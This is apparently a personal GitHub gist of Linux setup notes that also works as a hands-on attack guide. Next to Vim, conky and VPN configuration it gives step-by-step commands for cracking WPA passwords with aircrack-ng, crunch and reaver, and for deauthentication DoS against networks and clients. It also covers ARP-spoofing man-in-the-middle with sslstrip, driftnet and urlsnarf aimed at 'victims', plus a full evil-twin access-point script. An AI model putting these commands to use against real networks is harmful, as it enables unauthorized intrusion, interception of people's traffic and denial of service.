Last active
August 8, 2017 00:14
-
-
Save savolla/a7e82019cd108cf7b1c1552f5543230d to your computer and use it in GitHub Desktop.
this file is for pc recovery. simply just dont read it...
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| WELCOME TO SAVOLLA.CONF | |
| Please open this document with Vim editor and make sure you have folding plugin. Topics which start with "##########" symbols are folded for more readability. | |
| if you don't have vim or proper vimrc file and plugins, I strongly recomend to download "spf13-vim" on your system. it is easyest way to install and configure | |
| this awesome text edidor. This file has written by savolla. It is very personal and unedited file. DO NOT READ! | |
| ******************************************************************** | |
| IMPORTANT: if you want to fold topics just follow the steps below * | |
| * | |
| <ESC> * | |
| move the cursor to the title of the topic which you want to fold. * | |
| k * | |
| qa * | |
| /########## * | |
| <ENTER> * | |
| zf * | |
| n * | |
| q * | |
| @a * | |
| ******************************************************************** | |
| ########## ESSENTIAL PROGRAMS | |
| sudo apt-get install vim virtualbox vlc xfce4-desktop conky neofetch redshift git ranger atool mplayer2 gufw sl calibre brasero aircrack-ng reaver dsniff sslstrip driftnet urlsnarf squid3 apache2 bridge-utils feh software-properties-gtk npm konsole gparted | |
| "vim" # awesome software for text editing | |
| "virtualbox" #operate other operating systems | |
| "vlc" # play videos or play videos with mplayer2 | |
| "xfce4-desktop" # awesome lightweight desktop env. | |
| "conky" # system info but configurate conky.conf | |
| "neofetch" # system info from terminal | |
| "redshift" # no more eye pain at night | |
| "git" # git is used for cloning open source softees from internet | |
| "atool" # atool is for opening compressed files with bunch of options | |
| "ranger" # ranger is not that usefull but its nice for seeing files | |
| "mplayer2" # specially mplayer2 is good for playing videos | |
| "gufw" # graphical user interface for firewall easy to use thing | |
| "sl" # no need command | |
| "calibre" # is for opening epub files in linux | |
| "brasero" # burning cd and dvds | |
| "aircrack-ng" # for wireless attacks. a bruteforce too i believe | |
| "reaver" # for cracking WPA wirelesses | |
| "dsniff" | |
| "sslstrip" # MITM tool. usefull for reducing https security protocol. converts https to http. not always working | |
| "feh" # to display images quickly on terminal | |
| "driftnet" # MITM tool. usefull for pictures on the web that victim looking at the moment | |
| "urlsnarf" # MITM tool. usefull for capturing urls that victim visiting | |
| "squid3" # MITM tool.basicly its a proxy | |
| "apache" # its a widely used web server tool. | |
| "bridge-utils" # Cloned wifi attack tool. | |
| "software-properties-gtk" # for displaying additional drivers. This might not be displayed after some time. | |
| "npm" # to install brave from source | |
| "linuxbrew_wrapper" # for 3vilTwin attacker. after installing it justtype "brew install pyqt" | |
| "konsole" # for opening separate terminals with scripts | |
| "gparted" # nice program for managing drives | |
| "rar" # you have to download this because atool don't know how to extract rar files.. or I don't know. who knows... | |
| "tilda" # awesome tool to leave one permanent terminal on your Desktop. but it is hard to configure. | |
| from browser: | |
| "opera" # secure internet browser (lol) | |
| "brave" # open source and more secure internet browser. prolly will choose brave over opera | |
| "comodo antivirus for linux" << OPTIONAL | |
| "crunch" # for generating wordlists for wireless attacks | |
| to kali linux: | |
| apt-get install kismet gpsd gpsd-clients | |
| "kismet" | |
| "gpsd" | |
| ########## THEME | |
| cd /usr/share/themes | |
| git clone https://github.com/shimmerproject/Blackbird.git | |
| appearencea git ve Blackbirdi seç | |
| ########## FONT | |
| cd /usr/share/fonts | |
| git clone https://github.com/pcaro90/hermit.git | |
| ########## WINDOW MANAGER | |
| "go to start and type "window manager"" | |
| -"close window" = alt+e | |
| -"maximize window" = alt+w | |
| -"hide window" = alt+q | |
| -"resize window" = alt+s | |
| -"move window" = alt+d | |
| go to settings editor | |
| find xfwm4 | |
| check borderless maximize value | |
| check titleless maximize value | |
| ########## CONKY | |
| https://youtu.be/XaUbiG2wDNA | |
| download conky.conf | |
| sudo rm /etc/conky/conky.conf | |
| sudo mv /Downloads/conky.conf /etc/conky | |
| vim ile konfigüresyonunu yap | |
| conky configuration file: | |
| """ | |
| background yes | |
| use_xft yes | |
| xftfont 123:size=8 | |
| xftalpha 0.1 | |
| update_interval 0.3 | |
| total_run_times 0 | |
| own_window yes | |
| own_window_type normal | |
| own_window_transparent yes | |
| own_window_hints undecorated,below,sticky,skip_taskbar,skip_pager | |
| double_buffer yes | |
| minimum_size 250 5 | |
| maximum_width 400 | |
| draw_shades no | |
| draw_outline no | |
| draw_borders no | |
| draw_graph_borders yes | |
| default_color gray | |
| default_shade_color red | |
| default_outline_color green | |
| alignment top_right | |
| gap_x 10 | |
| gap_y 10 | |
| no_buffers no | |
| uppercase no | |
| cpu_avg_samples 2 | |
| net_avg_samples 1 | |
| override_utf8_locale yes | |
| use_spacer yes | |
| text_buffer_size 256 | |
| TEXT | |
| ${font Arial:size=15}${color white} ${color red} SAVOLLA | |
| ${voffset -90} | |
| ${color DimGray} | |
| ${font} | |
| ${font Arial:bold:size=10}${color red}SYSTEM ${color DarkSlateGray} ${hr 2} | |
| $font${color DimGray}$sysname $kernel $alignr $machine | |
| Intel CORE i7 [7th Gen]$alignr${freq_g cpu0}Ghz | |
| Uptime $alignr${uptime} | |
| File System $alignr${fs_type} | |
| ${font Arial:bold:size=10}${color red}PROCESSORS ${color DarkSlateGray}${hr 2} | |
| $font${color DimGray}Core1 ${cpu cpu1}% ${cpubar cpu1} | |
| Core2 ${cpu cpu2}% ${cpubar cpu2} | |
| Core3 ${cpu cpu3}% ${cpubar cpu3} | |
| Core4 ${cpu cpu4}% ${cpubar cpu4} | |
| ${font Arial:bold:size=10}${color red}TEMPERATURES ${color DarkSlateGray}${hr 2} | |
| $font${color DimGray}${color DimGray}Temp1 Temp$alignr${hwmon temp 1}°C | |
| ${color DimGray}Temp3 Temp$alignr${hwmon temp 3}°C | |
| ${color DimGray}Temp4 Temp$alignr${hwmon temp 4}°C | |
| ${color DimGray}Temp5 Temp$alignr${hwmon temp 5}°C | |
| ${font Arial:bold:size=10}${color red}MEMORY ${color DarkSlateGray}${hr 2} | |
| $font${color DimGray}MEM $alignc $mem / $memmax $alignr $memperc% | |
| $membar | |
| ${font Arial:bold:size=10}${color red}HDD ${color DarkSlateGray}${hr 2} | |
| $font${color DimGray}/home $alignc ${fs_used /home} / ${fs_size /home} $alignr ${fs_free_perc /home}% | |
| ${fs_bar /home} | |
| /XtraHDD $alignc ${fs_used /media/usb0} / ${fs_size /media/usb0} $alignr ${fs_free_perc /media/usb0}% | |
| ${fs_bar /media/usb} | |
| /USB $alignc ${fs_used /home/savolla/media/} / ${fs_size /home/savolla/media/} $alignr ${fs_free_perc /home/savolla/media/}% | |
| ${fs_bar /home/savolla/media/} | |
| ${font Arial:bold:size=10}${color red}TOP PROCESSES ${color DarkSlateGray}${hr 2} | |
| ${color DimGray}$font${top_mem name 2}${alignr}${top mem 2} % | |
| $font${top_mem name 3}${alignr}${top mem 3} % | |
| $font${top_mem name 4}${alignr}${top mem 4} % | |
| $font${top_mem name 5}${alignr}${top mem 5} % | |
| ${font Arial:bold:size=10}${color red}NETWORK ${color DarkSlateGray}${hr 2} | |
| $font${color DimGray}IP on wlp2s0 $alignr ${addr wlp2s0} | |
| Down $alignr ${downspeed wlp2s0} kb/s | |
| Up $alignr ${upspeed wlp2s0} kb/s | |
| Downloaded: $alignr ${totaldown wlp2s0} | |
| Uploaded: $alignr ${totalup wlp2s0} | |
| ${color #888888}${downspeedgraph wlp2s0 20,70 ff0000 0000ff} ${color #888888}${upspeedgraph wlp2s0 20,70 0000ff ff0000} | |
| $font${color DimGray}IP on eth0 $alignr ${addr eth0} | |
| Down $alignr ${downspeed eth0} kb/s | |
| Up $alignr ${upspeed eth0} kb/s | |
| Downloaded: $alignr ${totaldown eth0} | |
| Uploaded: $alignr ${totalup eth0} | |
| ${color #888888}${downspeedgraph eth0 20,70 ff0000 0000ff} ${color #888888}${upspeedgraph eth0 20,70 0000ff ff0000} | |
| """ | |
| ########## REDSHIFT | |
| conky ve redshift gibi programların, başlangıçta | |
| başlaması için gereken adımlar: | |
| session & startup | |
| applicaation autostart | |
| +add | |
| -> istenilen programın bilgilerini gir. | |
| ########## VIM | |
| # first solution | |
| cd ~ | |
| touch .vimrc | |
| mkdir .vim | |
| cd .vim | |
| mkdir bundle | |
| cd bundle | |
| git clone https://github.com/VundleVim/Vundle.vim.git | |
| #second solution (*****) | |
| apt-get install git | |
| >>> go to "http://vim.spf13.com/" and find installation command | |
| >>> in 2017 that was "curl http://j.mp/spf13-vim3 -L -o - | sh" | |
| >>> after that command, spf13 will do all the job for you. | |
| ########## VIM PLUGINS | |
| #folding | |
| za - opens and closes folds | |
| zf<motion> - creates folds. for example: zf58gg command means, create fold from this line to 58th line. section will be folded after this command. press za to open | |
| zd - is for deleting folds | |
| zD - if you have multiple folds in a single fold, then this command will delete all folds recursively | |
| zR - opens all folds | |
| zM - closes all folds | |
| #NerdTREE | |
| CTRL+e - opens and closes NerdTree | |
| t - select a file from nerdtree and press "t" to open this file in a tab | |
| o - opens a selected file but not in tab. not recommended | |
| gt - gotab.. helps to walk around tabs in front direction. | |
| gT - same as gt but in backwards direction | |
| #tagbar | |
| tagbar is usefull plugin when it comes to programming. It shows all the functions and variables and imports in code. | |
| ########## PYTHON3 LIBS | |
| "idle3" | |
| sudoa apt-get install idle3 | |
| "pyautogui" | |
| sudo apt-get install python3-pip | |
| pip3 install python3-xlib | |
| sudo apt-get intsall scrot | |
| sudo apt-get install python3-tk | |
| sudo apt-get install python3-dev | |
| pip3 install pyautogui | |
| "numpy" | |
| pip3 install numpy | |
| "matplotlib" | |
| pip3 install matplotlib | |
| ########## VPN CONFIG | |
| sudoedit /etc/NetworkManager/NetworkManager.conf | |
| >>> change false to true | |
| service network-manager restart | |
| >>> install following packages | |
| sudo apt-get install network-manager-openvpn-gnome network-manager-pptp network-manager-pptp-gnome network-manager-strongswan network-manager-vpnc network-manager-vpnc-gnome | |
| >>> go to www.vpnbook.com for searching some vpn configuration files. | |
| >>> go to openVPN section and download some vpn config files. click on them | |
| >>> navigate /Downloads and move those files to your Desktop or home directory | |
| >>> extract vpn file with atool - x <file name> | |
| >>> open terminal | |
| sudo openvpn --config <file name.ovpn> | |
| >>> user name and passwords are on the vpnbook site. | |
| >>> note that you need to be sudo and all .ovpn files must be 755 mode | |
| ########## DNS CONFIG | |
| sudo su | |
| vim /etc/resolv.conf | |
| >>> nameserver is our modem's dns server. even thou if we hide our ip adress | |
| >>> our dns configuration can reveal our current location | |
| >>> comment nameserver and go to opendns.com and get a different dns adress | |
| (currently 10.06.2017 dns servers config looks like this) | |
| #nameserver <default dns adress> | |
| nameserver 208.67.222.222 | |
| nameserver 208.67.220.220 | |
| ########## DNS SPOOFING | |
| ? | |
| ########## PROXYCHAINS CONFIG | |
| these instructions for kali linux | |
| for making proxy work, follow these steps | |
| >>> vim /etc/proxychains.conf | |
| uncomment dynamic_chains | |
| uncomment proxy_dns | |
| under the socks4 127.0.0.1 9050 add following line | |
| >>> socks5 127.0.0.1 9050 | |
| then add those lines under the two adresses | |
| >>> socks5 185.43.7.146 1080 | |
| >>> socks5 75.98.148.183 45021 | |
| save the file with :wq | |
| check the status of tor service | |
| >>> service tor status | |
| restart tor service | |
| >>> service tor restart | |
| then type the most important command. this command will activte proxy chains conf | |
| and will open our favorite internet browser. firefox is more recomended. firefox is more | |
| stable for kali linux's configurations and hacking activities. | |
| >>> proxychains firefox www.duckduckgo.com | |
| connection might be slow but more secure. type dns leak test tu duckduckgo search engine | |
| go and check your ip. then check the standard test for confirmation. if standard test is | |
| showing some of the different locations, that means proxychains are working properly | |
| ########## MAC ADDRESS CONFIGURATION | |
| first of all, I spent a lot of time to solve how to change the mac adress. | |
| Network Manager comes without the proper configuration file for this kind of activiti | |
| so started to search for proper conf option and finally found it | |
| okay now follow the instructions | |
| >>> sudo apt-get intall macchanger | |
| >>> sudo vim /etc/NetworkManager/NetworkManager.conf | |
| put those lines down below: | |
| [connection] | |
| ethernet.cloned-mac-address=preserve | |
| wifi.cloned-mac-address=random | |
| save and quit the file. | |
| >>> sudo ifconfig <device> down && sudo macchanger -r <device> && sudo ifconfig <device> up && sudo service network-manager restart && macchanger -s <device> | |
| our mac adress is now different than permanent mac adress and connection is working | |
| we need to make a cronjob for changing our mac adress automaticly. on boot or per 5 minutes. It is | |
| optional | |
| >>> crontab -e | |
| ########## NMAP BASICS | |
| website for free ip scans: http://www.nirsoft.net/countryip/ | |
| nmap -v -A <ip adress> | |
| >>> -v is for verbose. telling to the program that show me what are you doing | |
| >>> -A os detection etc. | |
| >>> you can also type this particular ip adress to "www.lookip.net". this will show us everything about this ip adress or website. even the physical adress... | |
| so the search engines are your best fucking friends!!! | |
| >>> in another way we can do the same action with "nslookup" command | |
| nslookup <ip adress or website name> | |
| >>> this command returns some information too. | |
| >>> okay now, nmap is actually scans ips for finding some open ports. nmap -v <ip address> will returt something like; | |
| PORT STATE SERVICE | |
| 22/tcp open ssh | |
| 25/tcp filtered smtp | |
| 80/tcp open http | |
| 31337/tcp open Elite | |
| you see? we have 22, 80 ports open. and one filtered one is 25. you want to stay away from | |
| filtered ports bcuz these kind of ports might have multiple firewalls or some firewall configurations that can harm you... elite one I don't know what it is but it sounds scary to me. | |
| okay lets go a little bit further and check this command | |
| "nmap -vv -oG - 192.168.1.0-255 -p 22 > /home/SCAN" | |
| -vv = double verbose so we see better whats going on | |
| -oG = seeing in graphical (idk actually) | |
| -<ip>= the ip or ip range with "-" separation. | |
| -p 22 = specific port scan. if we scan big amount of ip range, nmap is going to scan all 1000 ports for each ip. that could be lont and problematic. so we specify one port and its 22 for now. | |
| > = redirection. that means, we send all output to a file. because its a big output. we can configure it later with vim. | |
| lets say we want to pull just active hosts from this output. now we have the file called SCAN with ahuge output. we are going to use grep command to pull just active hosts. | |
| "cat SCAN | grep Up" | |
| this command will return lines that contain word "Up" but we want to pull just ip addresses from here so what to do?? | |
| in this case, awk command takes the job for us. lets make a little tutorial about awk down below. | |
| #awk tutorial (start) | |
| lets say we have a text file called savolla.txt. and the content is: | |
| Frank | |
| Testing 1 | |
| Hello World | |
| TesT | |
| 123 Testing | |
| returning all the lines: | |
| "awk '{ print }' savolla.txt" | |
| Frank | |
| Testing 1 | |
| Hello World | |
| TesT | |
| 123 Testing | |
| returning first collumn of each line: | |
| "awk '{ print $1 }' savolla.txt" | |
| Frank | |
| Testing | |
| Hello | |
| TesT | |
| 123 | |
| returning secong collumn is just replace with $2 | |
| returning specific collums togeter with space (,) | |
| "awk '{ print $1,$2}' savolla.txt" | |
| Frank | |
| Testing 1 | |
| Hello World | |
| TesT | |
| 123 Testing | |
| returning specific collumns without space (.) | |
| "awk '{ print $1.$2}' savolla.txt" | |
| Frank | |
| Testing1 | |
| HelloWorld | |
| TesT | |
| 123Testing | |
| returning lines with specific scaracter sequence | |
| "awk '/Test/ {print}' savolla.txt" | |
| Testing 1 | |
| 123 Testing | |
| returning lines contain specific letters | |
| "awk '/[a-z]/ {print}' savolla.conf" | |
| Frank | |
| Testing 1 | |
| Hello World | |
| TesT | |
| 123 Testing | |
| returning lines that contatin specific or all the numbers. can do [0-9] or [1,2,7,8] etc. | |
| "awk '/[0-9]/ {print}' savolla.conf" | |
| returning specific lines with STARTing with numbers | |
| "awk '/^[0-9]/ {print}' savolla.conf" | |
| returning specific lines with ENDing with numbers | |
| "awk '/[0-9]$/ {print}' savolla.conf" | |
| thats it for now. for more tutorial check this link below | |
| https://www.youtube.com/watch?v=az6vd0tGhJI | |
| # awk tutorial (end) | |
| since we learned some basics of awk command, we now can pull ip adresses from our LOOKUP file | |
| for scanning specific ip addresses that we pulled with grep and awk commands, we created a new file LOOKUP_IP | |
| which contains 4 ips | |
| 192.168.1.44 | |
| 192.168.1.45 | |
| 192.168.1.46 | |
| 192.168.1.47 | |
| if we want to scann all of these type this command: | |
| "nmap -iL LOOKUP_IP -vv" | |
| also check nmap.org for scripts... | |
| ########## WIRELESS ATTACK | |
| # aircrack-ng cracking | |
| first of all virtual machines are weak for bruteforce . because it requires a good amount of RAM and needs all of the cores of CPU. thats why we are going to use our main host. | |
| tools we need for this are "aircrack-ng", "reaver" and "crunch" | |
| first of all there are 3 wireless security protocols. WEP, WPA and WPA2. the easyest to crack is WEP and WPA ones are harder. since WPAs are becoming a real problem, the reaver comes up. reaver will make job for us at WPA cracking. we also need a wordlist for cracking passwords. crunch is a easy to use and fast wordlist generator which we are going to use often. | |
| it is important to know if your wireless card supports monitoring mode. THIS IS SOOO IMPORTANT. if not, you wont be able to make man in the middle attack or crack passwords. | |
| lets set our network interface to monitor mode first. after this procces your internet will deactivated. this is normal don't be alarmed. we will show our network interface as a ROUTER!!! an evil router. type those commands. | |
| "ifconfig <your wifi network interface> down" we are deactivating our interface first | |
| "iwconfig <your wifi network interface> mode monitor" setting to monitor mode | |
| "ifconfig <your wifi network interface> up" activating again | |
| okay now we are going to check background system procceses that can interrupt our attack. | |
| "airmon-ng check <your wifi network interface>" | |
| NOTE: if you cant see any output just pkill NetworkManager and dhclient manually. | |
| after this command you will see some daemon services. you need to kill them. and you need to kill in ORDER! | |
| 1) "pkill NetworkManager" | |
| 2) "pkill dhclient" | |
| 3) "pkill wpa_supplicant" | |
| 4) kill the rest. no longer an order needed. | |
| avahi can be annoying.. | |
| or simply type to kill all the proccesses with one command: "airmon-ng check kill" | |
| after the killing process we now can see all the networks around us. not just networks. we can see who is connected to them too!! | |
| "airodump <your wifi netwrork interface>" | |
| after this command all the active routers should seen on the screen. | |
| "BSSID" => is the MAC address of the router | |
| "PWR" => is the signal rate of the router. it shows at minus ratios but if you have a good wireless card, you will be able to connect to them without any problem | |
| "ESSID" => is the name of the router. if you see something like "<lenght: number>" under the ESSID, that means the wireless network is hidden. | |
| "ENC" => encription of the router. mostly WPA2 | |
| "CH" => channel | |
| you can also store all the results at a file. "airodump-ng -w <file> <monitored interface>" | |
| after this operation we want to scan a specific router that we want to crack its password. so what to do?? | |
| "airodump-ng -c <CH value> -w <a file for scanning> --bssid <MAC address of target router> <wifi interface>" | |
| REMEMBER! wifi interface must be in monitor mode!!! | |
| # a little bit of DoS (start) | |
| after executing this command we need to DoS attack this target wifi. basicly we are going to kick everyone that connected to this wifi. type this command: | |
| "aireplay-ng -0 0 -a <MAC address of target wifi> <your wifi interface>" | |
| NOTE: if its gonna show wrong channel, you can specify channel like the command below and try again. make sure the interface is up while changing channel. | |
| "iwconfig wlp2s0 channel <target's channel>" | |
| we can specify a client for dos a particular device. just look at the STATION section while scanning a specific router. see who is connected. then take the targes's MAC address and type this command | |
| "aireplay-ng -0 0 -a <MAC of target router> -c <MAC of target client> <your network interface>" | |
| # a little bit of DoS (end) | |
| after this command target wifi will be attacked. everyone will loose connection. and now we are waiting for a "Handshake" don't cencel it until you get a WPA Handshake. and we DONE!! | |
| THIS IS THE HARDEST PART!!! | |
| now we are ready to crack the encription. but this is now gonna be easy and short. bcuz we dont know how long is the password. you need to pray.. | |
| "crunch 0 11 -t %%%%,@@nder -f charset.lst mixalpha-numeric-space | aircrack-ng -w - SCAN_test-01.cap -e something" | |
| 11 11 => this paremeter means that password lenght is going to be 11 characters. we can do it 10 11 for checking 10 character first and then for 11 characters. this will be so long actually. what we can do is if you have multiple computers, you can type the same command with 10 10 for one machine and 11 11 for other machine and so on.. this will be faster and safer proccess because we don't want to cook our hardware.. | |
| -t => this is important. if you know something about the password such as how many numbers it has or where the numbers start and end or hom many characters it contains etc. we can specify this kind of combination here. as you can see in command, there are some symbols like % , @ etc. basicly the meanings are down below | |
| @ = lowercase letters | |
| , = upper case letters | |
| % = numbers | |
| ^ = symbols (this option will make your process LOOOOOOOONG..) | |
| COMPLETE THIS TUTORIAL!!!! | |
| # reaver cracking | |
| before doing attacks with reaver | |
| 1) set your wifi network interface to monitor mode | |
| 2) kill all annoying processes | |
| 3) use wash command to check vulnurable wifi targets | |
| "sudo wash -i <your wifi network interface" | |
| NOTE: you need to be root or type sudo before the command. and if it fails, try to create reaver folder to etc. | |
| "mkdir /etc/reaver" | |
| if wash command works, you need to check if the "WPS Lock" collumn contains No or Yes. if it says Yes, then your target is not vulnurable. if it says No, then here we go! its vulnurable. choose your target from wash command output and then check the signal of your target with "airodump-ng <wifi interface>". select the best signal and make sure this router is vulnurable. Also check your target's channel. After choosing your target, we can now use the reaver itself. | |
| the basic command shape for reaver is very simple. | |
| "sudo reaver -i <wifi interface> -b <target MAC> -c <target channel> -vv" | |
| NOTE: some routers will detect that someone is trying to crack the pin. basicly these routers have some if statement in their code. you can get over it with -r parameter. it basicly does the pin scan per some time. if we say "-r 2:60" then reaver will check the pin two times per minute. so the new and safer command will be | |
| ***"sudo reaver -i <wifi interface> -b <mac of target> -c <target channel> -r <tryes:persecond> -vv"*** | |
| also there are some reverse algorithims for specific routers. look at the first 3 octates of the target mac address. you will see a thing like "a3:g5:22". copy this value and search on internet. this octets are describe the manufacturer of the network device. for example if I find my target's manufacturer, I can also search the reverse pin algorithm for this device. this method is not working all the time. you might not find a reverse algorithm for every manufacturer. but it worths to try. this site is helpful: "https://tools.securation.com/wdpg/" | |
| #8.40# | |
| # bringing internet back | |
| to bring back the internet, you need to simply restart services that you killed at the beginning. and before doing this, we also need to set the managed mode for our network interface. | |
| type those commands: | |
| "sudo ifconfig <wifi interface> down" | |
| "sudo iwconfig <wifi interface> mode managed" | |
| "sudo ifconfig <wifi interface> up" | |
| "sudo service wpa_supplicant start" | |
| "sudo service NetworkManager start" | |
| "sudo service dhclient start" ( dhclient might not be active. ) | |
| after all of these commands try to restart network-manager. just try several times. it will work. | |
| "sudo service NetworkManager restart" | |
| if this doesn't help, just restart your computer. | |
| ########## MAN IN THE MIDDLE ATTACKS | |
| # Chapter 1 (arp spoofing) | |
| WARNING: this attack is not gonna work "always". some important sites such as facebook, paypal, youtube they are very succesful sites when it comes to encrypt data. | |
| sslstrip will try to reduce the security but its not garanteed. even if victim uses Internet Explorer which is the most vulnurable internet browser of all time, still it might not work on | |
| important sites. technology is changing everyday. and there is an invisible war between systems. if these sites update themselves, hacker world will also update. but this takes time... | |
| but when it comes to sites that dont contain https encription, we are good to go! we can see the traffic. | |
| installation of some softwares we need: | |
| "sudo apt-get install sslstrip" | |
| "sudo apt-get install dsniff" | |
| "sudo apt-get install driftnet" | |
| "sudo apt-get install urlsnarf" | |
| preparation for MITM attack | |
| "echo 1 > /proc/sys/net/ipv4/ip_forvard" NOTE: if that does'n work try this command instead: "echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward" | |
| "iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080" | |
| open two terminals | |
| >>for terminal one: "arpspoof -i <your wifi interface> -t <target ip> <router ip>" | |
| >>for terminal two: "arpspoof -i <your wifi interface> -t <router ip> <target ip>" | |
| for reducing the https security we use this command | |
| "sslstrip -k -l 8080 -w Desktop/sslstriplog.log" | |
| or | |
| "sslstrip -l 8080" | |
| and for not catting several times sslstriplog.log file we use tail. which is going to display changes on that file | |
| "tail -F Desktop/sslstriplog.log" | |
| or | |
| "tail -f Desktop/sslstriplog.log" | |
| another program that we can use is driftnet. for capturing pictures from target. for having an idea what actually the target looking at at the time being. even can capture the sound. driftnet --help for more options | |
| "driftnet -b -i <your wifi interface>" | |
| urlsnarf is for capturing the links that the target is going | |
| "urlsnarf -i <your wifi interface> | |
| # Chapter 2 (trolling with internet explorer) | |
| fun stuff! in this section you will learn how to ruin victim's life with internet. basicly you can change all the pictures thich victim is looking at at the time. you can change the programming language of the web page or send some spooky sounds, putting text (evil texts) and so on. This might be really gross. | |
| requirements: | |
| "sudo apt-get install imagemagick ghostscript jp2a apache2 squid3" | |
| --THIS SHIT DOESN'T WORK-- | |
| # Chapter 3 (cloning wifi) | |
| this attack method is working better than the previous ones. | |
| >>>set your network wifi to monitor mode | |
| >>>kill problematic processes "airmon-ng check kill" | |
| >>>scan the local area networks with "airodump-ng <wlan0mon>" | |
| >>>to create a fake wireless access point (cloning at0) "airbase-ng -a <victim wifi's MAC> -e <victim wifi's essid> -c <channel of victims wifi> <wlan0mon>" NOTE: with this command you are adding a free (OPN) AP. you can also add WEP or WPA mode to this by adding -z or -Z parameters. -z = WEP and -Z = WPA. also after -z parameter add 4 for CCMP. You can also not specify the -a parameter for creating a unique wifi access point. but changing mac is always a good idea. | |
| example : airbase-ng -a <victims MAC> -e <victims ESSID> -c <victims channel> -Z 4 <monitored wifi int> | |
| >>>If victim client is not already connected to our fake AP, DoS victim wifi access point for a moment to make everyone's connection lost then automaticly connect to your fake (cloned) wifi . | |
| "aireplay -0 0 -a <victim wifi MAC> <wlan0mon>" | |
| >>> and now wait for it. wait for "reassociated (unencrypted) to ESSID: <cloned and fake wifi>" | |
| >>> IMPORTANT: clients which connected to our wifi will not have internet until we configure our network. | |
| >>> we need some softwares to make network configuration | |
| "sudo apt-get install bridge-utils" | |
| >>> after this, create an evil bridge | |
| "brctl addbr evil" | |
| >>> connect your real wifi interface with the evil one | |
| "brctl addif evil <your wifi interface WITH INTERNET ACCESS>" IMPORTANT: you need to bridge evil with working internet interface. if you bridge it to monitor mode interface, that will not work.. try to bridge with USB Wifi card or Ethernet connection. if you do this and if it works, ignore the following problem and solution. | |
| PROBLEM: can't add wlp2s0 to bridge evil: Operation not supported #9:30# | |
| """""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" | |
| SOLUTION: "https://serverfault.com/questions/152363/bridging-wlan0-to-eth0" | |
| # brctl addif <bridgename> <wifiInterface> | |
| # can't add <wifiInterface> to bridge <bridgename>: Operation not supported | |
| # # iw dev <wifiInterface> set 4addr on | |
| # # brctl addif <bridgename> <wifiInterface> | |
| """"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" | |
| "brctl addif evil at0" | |
| "ifconfig at0 0.0.0.0 up" | |
| "ifconfig evil up" | |
| "dhclient evil" | |
| <<FULL SCRIPT>> | |
| >>> Preparation | |
| * "apt-get install isc-dhcp-client" | |
| * "route -n" wirte down the value under GATEWAY. for example 192.168.1.1 | |
| * "vim /etc/dhcp/dhcpd.conf" edit the dhcp. delete everything in this file and enter the following values | |
| -------------------------------------------------- | |
| authoritative; | |
| default-lease-time 600; | |
| max-lease-time 7200; | |
| subnet 192.168.2.0 netmask 255.255.255.0 { # gateway ip 3rd value + 1, gateway ip 4th value - 1 | |
| option routers 192.168.2.1; # gateway ip 3rd value + 1 | |
| option subnet-mask 255.255.255.0; | |
| domain-name "your fake AP name in quotes"; | |
| option domain-name-servers 8.8.8.8; # use google dns | |
| range 192.168.2.2 192.168.2.40; | |
| } | |
| -------------------------------------------------- | |
| airmon-ng start wlan0 | |
| airbase-ng -e "TTNET_ZyXEL_B8MK" -c 1 wlan0mon | |
| >>> Script | |
| ifconfig at0 192.168.2.1 netmask 255.255.255.0 # 4th line of the dhcpd.conf | |
| ifconfig at0 mtu 1400 | |
| route add -net 192.168.2.0 netmask 255.255.255.0 gw 192.168.2.1 # 4th line of the dhcpf.conf after -net and option-route after gw | |
| echo 1 > /proc/sys/net/ipv4/ip_forward | |
| iptables -t nat -A PREROUTING -p udp -j DNAT --to 192.168.1.1 # gateway ip after --to | |
| iptables -P FORWARD ACCEPT | |
| iptables --append FORWARD --in-interface at0 -j ACCEPT | |
| iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE | |
| iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 | |
| dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pif at0 # if you get error, create missing file with touch | |
| /etc/init.d/isc-dhcp-server start | |
| ########## FIRWALL SETUP | |
| gufw | |
| >>>enable on | |
| >>>choose home profile | |
| ########## ANTİViRUS | |
| >>>comodo antivirus is cool . go to their site and | |
| >>>download the 64bit of their antivirus for linux | |
| >>> I actually could not install this antivirus because of my ssl version | |
| >>> cav-linux requires libssl0.9.8 package. which I dont know how to install it... | |
| >>>THIS PROGRAM IS NOT EVEN NECESSARY... | |
| ########## SETTING WIFI TO ACCESS POINT | |
| sudo apt-get install dnsmasq hostapd | |
| vim /etc/dnsmasq.conf | |
| """""""""""""""""""""" | |
| interface=at0 | |
| dhcp-range = 10.0.0.10,10.0.0.250,12h | |
| dhcp-option = 3,10.0.0.1 | |
| dhcp-option = 6,10.0.0.1 | |
| server = 8.8.8.8 | |
| log-dhcp | |
| log-queries | |
| """""""""""""""""""""" | |
| <esc>:wq | |
| iwconfic # check for wifi interface | |
| airmon-ng start <wifi interface> | |
| pkill NetworkManager && pkill wpa_supplicant && pkill dhclient | |
| ########## NO SOUND PROBLEM | |
| #solution 1 | |
| check if "mute audio autput" is enabled in notification area | |
| #solution 2 | |
| vim /etc/pulse/daemon.conf | |
| >>> daemonize = no kısmını yes yap | |
| <esc>:wq | |
| systemctl --user enable pulseaudio | |
| systemctl --user start pulseaudio | |
| ########## NO INTERNET PROBLEM | |
| #solution 1 | |
| dhclient | |
| >>>if snbd service is not active type this command | |
| service smbd restart | |
| >>>it should fix the problem | |
| ########## GUEST ADDITIONS PROBLEM | |
| this guide is for kali linux 2017.1 | |
| "apt-get install linux-headers-amd64" | |
| "apt-get install linux-image-4.9.0-kali4-amd64" # depends on latest kernel version | |
| "reboot" | |
| "apt-get install virtualbox-guest-x11" # depends on latest guest additions | |
| "reboot" | |
| ########## ENCRYPT YOUR FILES | |
| # to encrypt your file | |
| openssl aes-256-cbc -p -in <filename> -out <out_filename> | |
| enter password for unencryption | |
| # to UNencrypt your file | |
| openssl aes-256-cbc -d -in <encrypted_file> -out <out_filename> | |
| enter the key password | |
| ########## COOL SITES | |
| 1) virus total | |
| >> lets you to upload any file and this file will be scanned every virus program. same thing for sites. its about security | |
| "https://www.virustotal.com/" | |
| 2) have I've been owned? | |
